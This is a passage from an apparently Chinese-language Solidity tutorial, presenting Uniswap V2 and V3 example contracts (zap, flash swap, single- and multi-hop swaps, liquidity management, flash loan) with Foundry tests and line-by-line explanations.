    function zap(address _tokenA, address _tokenB, uint256 _amountA) external {
        require(_tokenA == WETH || _tokenB == WETH, "!weth");

        IERC20(_tokenA).transferFrom(msg.sender, address(this), _amountA);

        address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB);
        (uint256 reserve0, uint256 reserve1,) =
            IUniswapV2Pair(pair).getReserves();

        uint256 swapAmount;
        if (IUniswapV2Pair(pair).token0() == _tokenA) {
            // swap from token0 to token1
            swapAmount = getSwapAmount(reserve0, _amountA);
        } else {
            // swap from token1 to token0
            swapAmount = getSwapAmount(reserve1, _amountA);
        }

        _swap(_tokenA, _tokenB, swapAmount);
        _addLiquidity(_tokenA, _tokenB);
    }

    function _swap(address _from, address _to, uint256 _amount) internal {
        IERC20(_from).approve(ROUTER, _amount);

        address[] memory path = new address[](2);
        path = new address[](2);
        path[0] = _from;
        path[1] = _to;

        IUniswapV2Router(ROUTER).swapExactTokensForTokens(
            _amount, 1, path, address(this), block.timestamp
        );
    }

    function _addLiquidity(address _tokenA, address _tokenB) internal {
        uint256 balA = IERC20(_tokenA).balanceOf(address(this));
        uint256 balB = IERC20(_tokenB).balanceOf(address(this));
        IERC20(_tokenA).approve(ROUTER, balA);
        IERC20(_tokenB).approve(ROUTER, balB);

        IUniswapV2Router(ROUTER).addLiquidity(
            _tokenA, _tokenB, balA, balB, 0, 0, address(this), block.timestamp
        );
    }
}

interface IUniswapV2Router {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IUniswapV2Factory {
    function getPair(address token0, address token1)
        external
        view
        returns (address);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

这段代码实现了在Uniswap V2中进行“最优单边供应”的功能。以下是主要部分的解释:

  1. 合约与常量
    • 合约定义了一些常量,包括Uniswap的工厂地址(FACTORY)、路由器地址(ROUTER)和WETH地址。
  2. 平方根函数
    • sqrt 函数是一个私有函数,用于计算输入值的平方根,使用了牛顿迭代法。
  3. 计算最优交换量
    • getSwapAmount 函数根据当前的储备和用户的代币数量计算最优的交换量(s)。其公式考虑了流动性池中的代币储备、用户持有的代币量以及交易费用。
  4. 核心功能:zap
    • zap 函数是核心功能,允许用户从一种代币(_tokenA)交换到另一种代币(_tokenB),并将获得的代币添加到流动性池中。
    • 函数首先检查用户提供的代币是否为WETH,然后从用户账户中转移相应的代币。
    • 接着,调用 IUniswapV2Factory 获取代币对的流动性池,并通过 getReserves 获取当前储备。
    • 根据代币的类型(token0或token1),计算最优的交换量,并调用 _swap 函数进行代币交换。
  5. 交换与添加流动性
    • _swap 函数使用Uniswap的路由器进行代币交换,确保代币已被授权转移。
    • _addLiquidity 函数获取合约内代币的余额,并调用路由器添加流动性。
  6. 接口定义
    • 定义了与Uniswap的路由器、工厂、流动性池和ERC20代币交互所需的接口,以便调用相关功能。

整体来看,这段代码提供了一种便利的方式,允许用户通过单边供应的方式最优地在Uniswap中交换和添加流动性,从而提高交易效率和流动性管理。

8.24 Uniswap V2 Flash Swap

Uniswap V2 Flash Swap Example

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IUniswapV2Callee {
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

contract UniswapV2FlashSwap is IUniswapV2Callee {
    address private constant UNISWAP_V2_FACTORY =
        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    IUniswapV2Factory private constant factory =
        IUniswapV2Factory(UNISWAP_V2_FACTORY);

    IERC20 private constant weth = IERC20(WETH);

    IUniswapV2Pair private immutable pair;

    // For this example, store the amount to repay
    uint256 public amountToRepay;

    constructor() {
        pair = IUniswapV2Pair(factory.getPair(DAI, WETH));
    }

    function flashSwap(uint256 wethAmount) external {
        // Need to pass some data to trigger uniswapV2Call
        bytes memory data = abi.encode(WETH, msg.sender);

        // amount0Out is DAI, amount1Out is WETH
        pair.swap(0, wethAmount, address(this), data);
    }

    // This function is called by the DAI/WETH pair contract
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        require(msg.sender == address(pair), "not pair");
        require(sender == address(this), "not sender");

        (address tokenBorrow, address caller) =
            abi.decode(data, (address, address));

        // Your custom code would go here. For example, code to arbitrage.
        require(tokenBorrow == WETH, "token borrow != WETH");

        // about 0.3% fee, +1 to round up
        uint256 fee = (amount1 * 3) / 997 + 1;
        amountToRepay = amount1 + fee;

        // Transfer flash swap fee from caller
        weth.transferFrom(caller, address(this), fee);

        // Repay
        weth.transfer(address(pair), amountToRepay);
    }
}

interface IUniswapV2Pair {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

Test with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import "../../../src/defi/uniswap-v2-flash-swap/UniswapV2FlashSwap.sol";

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

contract UniswapV2FlashSwapTest is Test {
    IWETH private weth = IWETH(WETH);

    UniswapV2FlashSwap private uni = new UniswapV2FlashSwap();

    function setUp() public {}

    function testFlashSwap() public {
        weth.deposit{value: 1e18}();
        // Approve flash swap fee
        weth.approve(address(uni), 1e18);

        uint256 amountToBorrow = 10 * 1e18;
        uni.flashSwap(amountToBorrow);

        assertGt(uni.amountToRepay(), amountToBorrow);
    }
}

这段代码实现了一个在Uniswap V2上进行“闪电借贷”(Flash Swap)的合约,并包括了一个测试合约。下面是主要部分的详细解释:

8.24.1 1. 闪电借贷合约 (UniswapV2FlashSwap)

8.24.1.1 合约和常量

  • 接口 IUniswapV2Callee:定义了uniswapV2Call函数,这是Uniswap在完成闪电借贷后会调用的函数。
  • 常量定义:包括Uniswap工厂地址(UNISWAP_V2_FACTORY)、DAI和WETH代币地址。

8.24.1.2 构造函数

  • constructor:获取DAI/WETH的流动性池(pair),并初始化合约的pair变量。

8.24.1.3 flashSwap 函数

  • 用户可以通过该函数请求闪电借贷。函数会调用流动性池的swap函数,请求借出WETH。
  • 传递的数据包含借款代币的地址(WETH)和请求者的地址,以便在后续的回调中使用。

8.24.1.4 uniswapV2Call 函数

  • 这是Uniswap在完成交换后调用的函数。
  • 验证调用者是否为该流动性池,并且发送者是否为当前合约。
  • 从传递的数据中解码出借款代币和调用者地址。
  • 计算借款费用(大约0.3%),并更新amountToRepay变量。
  • 从调用者转移闪电借贷费用到合约。
  • 最后将借款的WETH加上费用转回流动性池。

8.24.2 2. 接口定义

  • IUniswapV2Pair:定义了用于交换代币的swap函数。
  • IUniswapV2Factory:定义了获取代币对的getPair函数。
  • IERC20:定义了ERC20代币的标准接口。
  • IWETH:继承了ERC20接口,添加了存款和取款的功能。

8.24.3 3. 测试合约 (UniswapV2FlashSwapTest)

8.24.3.1 合约与设置

  • UniswapV2FlashSwapTest 是一个使用Foundry框架的测试合约。
  • 创建了一个WETH的实例和一个UniswapV2FlashSwap合约的实例。

8.24.3.2 测试函数 testFlashSwap

  • 在测试函数中,首先存入1个WETH(即1个以太币)。
  • 授权闪电借贷合约可以使用1个WETH。
  • 请求闪电借贷10个WETH,并验证在借贷后需要偿还的金额是否大于借入金额。

8.24.4 总结

这段代码展示了如何在Uniswap V2上进行闪电借贷操作,包括请求借款、计算费用、偿还借款等步骤。测试合约提供了一个简单的框架来验证闪电借贷功能的正确性。闪电借贷是一种高效的方式,可以利用流动性池中的资产进行快速的市场操作(如套利),而无需提前持有资产。

8.25 Uniswap V3 Swap Examples

Uniswap V3 Single Hop Swap
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

contract UniswapV3SingleHopSwap {
    ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02);
    IERC20 private constant weth = IERC20(WETH);
    IERC20 private constant dai = IERC20(DAI);

    function swapExactInputSingleHop(uint256 amountIn, uint256 amountOutMin)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountIn);
        weth.approve(address(router), amountIn);

        ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02
            .ExactInputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: 3000,
            recipient: msg.sender,
            amountIn: amountIn,
            amountOutMinimum: amountOutMin,
            sqrtPriceLimitX96: 0
        });

        router.exactInputSingle(params);
    }

    function swapExactOutputSingleHop(uint256 amountOut, uint256 amountInMax)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountInMax);
        weth.approve(address(router), amountInMax);

        ISwapRouter02.ExactOutputSingleParams memory params = ISwapRouter02
            .ExactOutputSingleParams({
            tokenIn: WETH,
            tokenOut: DAI,
            fee: 3000,
            recipient: msg.sender,
            amountOut: amountOut,
            amountInMaximum: amountInMax,
            sqrtPriceLimitX96: 0
        });

        uint256 amountIn = router.exactOutputSingle(params);

        if (amountIn < amountInMax) {
            weth.approve(address(router), 0);
            weth.transfer(msg.sender, amountInMax - amountIn);
        }
    }
}

interface ISwapRouter02 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(ExactInputSingleParams calldata params)
        external
        payable
        returns (uint256 amountOut);

    struct ExactOutputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
        uint160 sqrtPriceLimitX96;
    }

    function exactOutputSingle(ExactOutputSingleParams calldata params)
        external
        payable
        returns (uint256 amountIn);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

Uniswap V3 Multi Hop Swap

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

contract UniswapV3MultiHopSwap {
    ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02);
    IERC20 private constant weth = IERC20(WETH);
    IERC20 private constant dai = IERC20(DAI);

    function swapExactInputMultiHop(uint256 amountIn, uint256 amountOutMin)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountIn);
        weth.approve(address(router), amountIn);

        bytes memory path =
            abi.encodePacked(WETH, uint24(3000), USDC, uint24(100), DAI);

        ISwapRouter02.ExactInputParams memory params = ISwapRouter02
            .ExactInputParams({
            path: path,
            recipient: msg.sender,
            amountIn: amountIn,
            amountOutMinimum: amountOutMin
        });

        router.exactInput(params);
    }

    function swapExactOutputMultiHop(uint256 amountOut, uint256 amountInMax)
        external
    {
        weth.transferFrom(msg.sender, address(this), amountInMax);
        weth.approve(address(router), amountInMax);

        bytes memory path =
            abi.encodePacked(DAI, uint24(100), USDC, uint24(3000), WETH);

        ISwapRouter02.ExactOutputParams memory params = ISwapRouter02
            .ExactOutputParams({
            path: path,
            recipient: msg.sender,
            amountOut: amountOut,
            amountInMaximum: amountInMax
        });

        uint256 amountIn = router.exactOutput(params);

        if (amountIn < amountInMax) {
            weth.approve(address(router), 0);
            weth.transfer(msg.sender, amountInMax - amountIn);
        }
    }
}

interface ISwapRouter02 {
    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }

    function exactInput(ExactInputParams calldata params)
        external
        payable
        returns (uint256 amountOut);

    struct ExactOutputParams {
        bytes path;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
    }

    function exactOutput(ExactOutputParams calldata params)
        external
        payable
        returns (uint256 amountIn);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

这段代码实现了Uniswap V3的单跳和多跳代币交换功能。以下是每部分的详细解释:

8.25.1 1. Uniswap V3 单跳交换 (UniswapV3SingleHopSwap)

8.25.1.1 合约和常量

  • 常量定义:包括Uniswap交换路由器地址(SWAP_ROUTER_02)、WETH和DAI的地址。

8.25.1.2 主要功能

  • swapExactInputSingleHop
    • 接收输入的WETH数量,用户想要交换为DAI。
    • 从用户地址转移WETH到合约并批准路由器使用这些代币。
    • 创建一个ExactInputSingleParams结构体实例,指定输入代币、输出代币、手续费、接收者地址、输入金额和最小输出金额。
    • 调用路由器的exactInputSingle方法完成交换。
  • swapExactOutputSingleHop
    • 接收用户希望输出的DAI数量和允许的最大输入WETH数量。
    • 类似地转移和批准WETH。
    • 创建一个ExactOutputSingleParams结构体实例,指定相应参数。
    • 调用路由器的exactOutputSingle方法完成交换。
    • 如果实际输入少于最大输入,则退还多余的WETH给用户。

8.25.2 2. Uniswap V3 多跳交换 (UniswapV3MultiHopSwap)

8.25.2.1 合约和常量

  • 类似于单跳交换,定义了Uniswap交换路由器、WETH、USDC和DAI的地址。

8.25.2.2 主要功能

  • swapExactInputMultiHop
    • 接收输入的WETH数量,并与最小输出金额。
    • 执行WETH到USDC再到DAI的多跳交换。
    • 使用abi.encodePacked创建交换路径,并创建ExactInputParams结构体实例。
    • 调用路由器的exactInput方法完成多跳交换。
  • swapExactOutputMultiHop
    • 接收希望输出的DAI数量和最大允许输入WETH数量。
    • 执行从DAI到USDC再到WETH的多跳交换。
    • 创建ExactOutputParams结构体实例,并调用路由器的exactOutput方法完成交换。
    • 退还多余的WETH给用户(如果有)。

8.25.3 3. 接口定义

  • ISwapRouter02:定义了用于单跳和多跳交换的结构体和函数。
  • IERC20IWETH:定义了ERC20标准接口及WETH的额外功能(存款和取款)。

8.25.4 总结

这段代码实现了Uniswap V3的单跳和多跳代币交换功能,允许用户在WETH和DAI之间进行高效的交换,并支持多跳交换以获取更好的汇率。它充分利用了Uniswap V3的灵活性和高效性,提供了一种方便的方式来进行代币交换。

8.26 Uniswap V3 Liquidity Examples

Examples of minting new position, collect fees, increase and decrease liquidity.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

Test with Foundry

```` // SPDX-License-Identifier: MIT pragma solidity ^0.8.26;

import {Test, console2} from “forge-std/Test.sol”; import “../../../src/defi/uniswap-v3-liquidity/UniswapV3Liquidity.sol”;

contract UniswapV3LiquidityTest is Test { IWETH private constant weth = IWETH(WETH); IERC20 private constant dai = IERC20(DAI);

address private constant DAI_WHALE =
    0xe81D6f03028107A20DBc83176DA82aE8099E9C42;

UniswapV3Liquidity private uni = new UniswapV3Liquidity();

function setUp() public {
    vm.prank(DAI_WHALE);
    dai.transfer(address(this), 20 * 1e18);

    weth.deposit{value: 2 * 1e18}();

    dai.approve(address(uni), 20 * 1e18);
    weth.approve(address(uni), 2 * 1e18);
}

function testLiquidity() public {
    // Track total liquidity
    uint128 liquidity;

    // Mint new position
    uint256 daiAmount = 10 * 1e18;
    uint256 wethAmount = 1e18;

    (
        uint256 tokenId,
        uint128 liquidityDelta,
        uint256 amount0,
        uint256 amount1
    ) = uni.mintNewPosition(daiAmount, wethAmount);
    liquidity += liquidityDelta;

    console2.log("--- Mint new position ---");
    console2.log("token id", tokenId);
    console2.log("liquidity", liquidity);
    console2.log("amount 0", amount0);
    console2.log("amount 1", amount1);

    // Collect fees
    (uint256 fee0, uint256 fee1) = uni.collectAllFees(tokenId);

    console2.log("--- Collect fees ---");
    console2.log("fee 0", fee0);
    console2.log("fee 1", fee1);

    // Increase liquidity
    uint256 daiAmountToAdd = 5 * 1e18;
    uint256 wethAmountToAdd = 0.5 * 1e18;

    (liquidityDelta, amount0, amount1) = uni.increaseLiquidityCurrentRange(
        tokenId, daiAmountToAdd, wethAmountToAdd
    );
    liquidity += liquidityDelta;

    console2.log("--- Increase liquidity ---");
    console2.log("liquidity", liquidity);
    console2.log("amount 0", amount0);
    console2.log("amount 1", amount1);

    // Decrease liquidity
    (amount0, amount1) =
        uni.decreaseLiquidityCurrentRange(tokenId, liquidity);
    console2.log("--- Decrease liquidity ---");
    console2.log("amount 0", amount0);
    console2.log("amount 1", amount1);
}

}


这段代码展示了如何在Uniswap V3上进行流动性管理,包括铸造新仓位、收取费用、增加和减少流动性。以下是对各个部分的详细解释:

### 1. **合约和常量定义**
- **常量定义**:包括DAI和WETH的地址。
- **`IERC721Receiver`接口**:允许合约接收ERC721代币。

### 2. **UniswapV3Liquidity合约**
该合约实现了流动性管理的主要功能。

#### 主要功能
- **`onERC721Received`**:
  - 实现了`IERC721Receiver`接口,返回合约接收ERC721代币的确认标识符。

- **`mintNewPosition`**:
  - 接收DAI和WETH的数量。
  - 将用户的DAI和WETH转移到合约并批准流动性管理器使用。
  - 设置铸造参数,并调用流动性管理器的`mint`方法铸造新的流动性仓位,返回仓位的`tokenId`、流动性、实际转移的DAI和WETH数量。
  - 如果转移的数量少于用户提供的数量,退还多余的代币给用户。

- **`collectAllFees`**:
  - 接收流动性仓位的`tokenId`。
  - 调用流动性管理器的`collect`方法收取所有手续费,并返回收取的代币数量。

- **`increaseLiquidityCurrentRange`**:
  - 增加指定流动性仓位的流动性,接收新的DAI和WETH数量。
  - 转移并批准新流动性,并调用`increaseLiquidity`方法。
  
- **`decreaseLiquidityCurrentRange`**:
  - 根据给定的`tokenId`和流动性数量减少流动性。
  - 调用`decreaseLiquidity`方法,返回相应的DAI和WETH数量。

### 3. **`INonfungiblePositionManager`接口**
- 定义了铸造、增加、减少流动性和收取费用的方法及其参数结构体。

### 4. **`IERC20`和`IWETH`接口**
- 定义了ERC20代币和WETH的基本功能,如转移、批准和余额查询。

### 5. **测试合约 (UniswapV3LiquidityTest)**
- **`setUp`函数**:
  - 在测试开始时,模拟一个用户(DAI鲸鱼)向合约转移DAI,并存入WETH。

- **`testLiquidity`函数**:
  - 测试流动性管理的全过程,包括铸造新仓位、收取费用、增加流动性和减少流动性。
  - 使用`console2.log`记录每个步骤的结果,便于调试和分析。

### 总结
这段代码展示了在Uniswap V3上进行流动性管理的完整流程,包括如何铸造流动性仓位、收集手续费、增加和减少流动性。合约使用了ERC721和ERC20标准,通过与流动性管理器的交互实现流动性操作,适用于DeFi项目的流动性管理需求。



##  Uniswap V3 Flash Loan

Uniswap V3 Flash Loan Example

// SPDX-License-Identifier: MIT pragma solidity ^0.8.26;

contract UniswapV3Flash { struct FlashCallbackData { uint256 amount0; uint256 amount1; address caller; }

IUniswapV3Pool private immutable pool;
IERC20 private immutable token0;
IERC20 private immutable token1;

constructor(address _pool) {
    pool = IUniswapV3Pool(_pool);
    token0 = IERC20(pool.token0());
    token1 = IERC20(pool.token1());
}

function flash(uint256 amount0, uint256 amount1) external {
    bytes memory data = abi.encode(
        FlashCallbackData({
            amount0: amount0,
            amount1: amount1,
            caller: msg.sender
        })
    );
    IUniswapV3Pool(pool).flash(address(this), amount0, amount1, data);
}

function uniswapV3FlashCallback(
    // Pool fee x amount requested
    uint256 fee0,
    uint256 fee1,
    bytes calldata data
) external {
    require(msg.sender == address(pool), "not authorized");

    FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData));

    // Write custom code here
    if (fee0 > 0) {
        token0.transferFrom(decoded.caller, address(this), fee0);
    }
    if (fee1 > 0) {
        token1.transferFrom(decoded.caller, address(this), fee1);
    }

    // Repay borrow
    if (fee0 > 0) {
        token0.transfer(address(pool), decoded.amount0 + fee0);
    }
    if (fee1 > 0) {
        token1.transfer(address(pool), decoded.amount1 + fee1);
    }
}

}

interface IUniswapV3Pool { function token0() external view returns (address); function token1() external view returns (address); function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; }

interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); }


Test with Foundry

// SPDX-License-Identifier: MIT pragma solidity ^0.8.26;

import {Test, console2} from “forge-std/Test.sol”; import “../../../src/defi/uniswap-v3-flash/UniswapV3Flash.sol”;

contract UniswapV3FlashTest is Test { address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // DAI / WETH 0.3% fee address constant POOL = 0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8; uint24 constant POOL_FEE = 3000;

IERC20 private constant weth = IERC20(WETH);
IERC20 private constant dai = IERC20(DAI);
UniswapV3Flash private uni;
address constant user = address(11);

function setUp() public {
    uni = new UniswapV3Flash(POOL);

    deal(DAI, user, 1e6 * 1e18);
    vm.prank(user);
    dai.approve(address(uni), type(uint256).max);
}

function test_flash() public {
    uint256 dai_before = dai.balanceOf(user);
    vm.prank(user);
    uni.flash(1e6 * 1e18, 0);
    uint256 dai_after = dai.balanceOf(user);

    uint256 fee = dai_before - dai_after;
    console2.log("DAI fee", fee);
}

}


这段代码展示了如何在Uniswap V3上实现闪电贷,包括闪电贷的合约和测试合约。以下是对代码的详细解释:

### 1. **UniswapV3Flash合约**
这个合约实现了闪电贷的逻辑。

#### 主要功能
- **构造函数**:
  - 接收Uniswap V3池的地址,初始化池和代币(token0和token1)。

- **`flash`函数**:
  - 接收要借的代币数量(amount0和amount1)。
  - 使用`abi.encode`将借款参数打包,调用池的`flash`方法,借出指定数量的代币。

- **`uniswapV3FlashCallback`函数**:
  - 这是Uniswap池在借款后调用的回调函数。
  - 确保调用者是合约池的地址。
  - 解码传入的数据,获取借款信息。
  - 如果有费用(fee0或fee1),从借款人那里转移费用。
  - 最后,偿还借款和费用给Uniswap池。

### 2. **IUniswapV3Pool接口**
- 定义了Uniswap V3池的基本功能,包括获取代币地址和进行闪电贷的接口。

### 3. **IERC20接口**
